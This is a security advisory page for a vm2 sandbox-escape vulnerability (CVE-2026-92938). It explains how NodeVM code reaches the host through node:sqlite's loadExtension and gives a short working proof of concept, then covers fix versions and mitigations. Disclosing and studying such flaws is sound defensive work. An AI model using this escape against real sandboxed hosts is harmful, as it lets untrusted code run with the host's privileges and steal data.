CVE-2026-92938 — vm2
Fix: patriksimek/vm2@aa146a7CVE-2026-92938 is a CWE-693 vulnerability in vm2. A fix is available for vm2 — see the affected versions and patch details below.
vm2 3.11.3 through 3.11.6 Remote Code Execution via node:sqlite
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-92938.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
vm2npmDescription
Summary
vm2 3.11.6 exposes Node.js's host node:sqlite module to NodeVM code when that builtin is allowed explicitly or through builtin: ['*']. The module is wrapped as read-only, but callable methods retain host-process authority. A sandboxed plugin can construct an in-memory database with extension loading enabled and call DatabaseSync.loadExtension() on a native library bundled in the plugin directory.
SQLite loads the library into the Node.js host process and invokes its native extension entry point. This gives the untrusted plugin arbitrary native code execution outside the sandbox.
The exploit needs only the node:sqlite builtin and a compatible native library already present in the untrusted plugin package. It does not require fs, process, module, child_process, worker_threads, vm, inspector, vm2 nesting, or an existing database file.
Details
The vulnerable boundary spans the builtin inventory, resolver, runtime loader, and generic read-only wrapper.
On current Node.js versions, the builtin inventory contains the literal name node:sqlite. vm2 admits that name when it is explicitly configured or when the wildcard allowlist is expanded:
const BUILTIN_MODULES = module.builtinModules.filter(/* denylist checks */);
The resolver then treats every request beginning with node: as a core-module request, even if the complete request string is not an allowlist key:
if (x.startsWith('node:') || this.builtins.has(x)) {
return x;
}
The sandbox runtime removes exactly one node: prefix and looks up the remainder in the configured builtin map:
if (filename.startsWith('node:')) {
id = filename.slice(5);
return loadBuiltinModule(id);
}
Consequently, the sandbox spelling below resolves to the configured map entry node:sqlite:
require('node:node:sqlite')
The default builtin loader imports the real module in the host realm and exposes it through vm.readonly():
builtins.set(key, vm => vm.readonly(hostRequire(key)));
Read-only wrapping prevents property assignment. It does not remove dangerous callable capabilities. Calls to DatabaseSync and loadExtension() are forwarded to the host implementation.
The complete exploit flow is:
attacker supplies an untrusted plugin package containing JavaScript and a native library
-> host runs the JavaScript in NodeVM with node:sqlite allowed
-> plugin resolves the host module as node:node:sqlite
-> plugin creates an in-memory DatabaseSync with allowExtension enabled
-> plugin derives the bundled library path from its own __dirname
-> plugin calls database.loadExtension(libraryPath)
-> vm2 forwards the call to host SQLite
-> SQLite loads the library into the Node.js host process
-> SQLite invokes the library's native extension entry point
-> attacker native code executes with the host process's privileges
The path does not need to be read through a sandboxed filesystem API. CommonJS already supplies the plugin's own directory, so an attacker can concatenate __dirname with the known name of a bundled library. The host necessarily places the untrusted plugin package on disk before evaluating its JavaScript.
PoC
The attached PoC is local and harmless. Its native extension entry point writes one marker file and returns success. It does not launch a process, connect to a network service, or modify any other file.
Prerequisites: macOS, Node.js with node:sqlite, npm, and a C compiler.
-
Open the attached
pocdirectory. -
Install the exact affected package:
npm install --ignore-scripts -
Compile and run the proof:
npm run poc
The script compiles extension_probe.c as libvm2_sqlite_probe.dylib, then runs untrusted-plugin.js in this restrictive configuration:
new NodeVM({
console: 'off',
require: { builtin: ['node:sqlite'] },
});
The sandboxed plugin performs only:
const { DatabaseSync } = require('node:node:sqlite');
const database = new DatabaseSync(':memory:', { allowExtension: true });
database.loadExtension(__dirname + '/libvm2_sqlite_probe.dylib');
database.close();
A vulnerable result is:
{
"sandboxResult": {
"nativeExtensionLoaded": true,
"usedOnlySQLiteBuiltin": true
},
"markerExists": true,
"markerText": "VM2_SQLITE_EXTENSION_ENTRYPOINT_EXECUTED"
}
The marker is written from the compiled native extension entry point, not from JavaScript. loadExtension() also returns successfully, proving that SQLite both loaded the library and invoked its entry point.
Impact
This is a sandbox escape to arbitrary native code execution. The native code runs inside the Node.js host process with the operating-system identity and privileges of that process, beyond all vm2 JavaScript, module, and proxy restrictions.
An attacker can replace the marker-only extension with native code that:
- reads application secrets, credentials, environment variables, and files available to the host account;
- modifies application data or executable files and establishes persistence;
- accesses internal services using the host's network identity;
- steals other tenants' data from the same process;
- terminates or corrupts the host process; and
- performs any other operating-system action permitted to the host account.
The realistic affected workflow is a plugin platform, automation service, notebook, build service, or multi-tenant code runner that stores attacker-supplied package contents and evaluates the package's JavaScript in NodeVM while allowing node:sqlite or all builtins. The attacker does not need pre-existing host execution, a writable database, or a command-execution builtin.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | vm2 | ≥ 3.11.3&&< 3.11.7 | 3.11.7npm install vm2@3.11.7 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for vm2, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update vm2 to 3.11.7 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-92938 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
This vulnerability is rated as Important severity because an attacker capable of submitting untrusted scripts to an environment using the vm2 sandbox can escape isolation and execute arbitrary code in the context of the underlying host process. Red Hat products such as Red Hat Developer Hub and Ansible Automation…
Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.Source: Red Hat security advisory for CVE-2026-92938 (CC BY 4.0)
| Product | Fixed in | Advisory |
|---|---|---|
| Red Hat Ansible Automation Platform 2.1 | ansible-automation-platform/automation-portal:1791295379 | RHSA-2026:80603 |
| Red Hat Ansible Automation Platform 2.2 | ansible-automation-platform/automation-portal:1791293780 | RHSA-2026:80644 |
| Red Hat Ansible Automation Platform 2.2 | ansible-automation-platform/bootc-automation-portal-rhel9:1791865660 | RHSA-2026:82151 |
| Red Hat Developer Hub 1.10 | rhdh/red-hat-developer-hub-backstage-plugin-lightspeed-backend:1791242697 | RHSA-2026:76788 |
| Red Hat Developer Hub 1.10 | rhdh/rhdh-hub-rhel9:1791311495 | RHSA-2026:79088 |
| Red Hat Developer Hub 1.9 | rhdh/rhdh-hub-rhel9:1793117813 | RHSA-2026:91651 |
Frequently Asked Questions
Is CVE-2026-92938 in your dependencies?
Find it across npm, including transitive dependencies.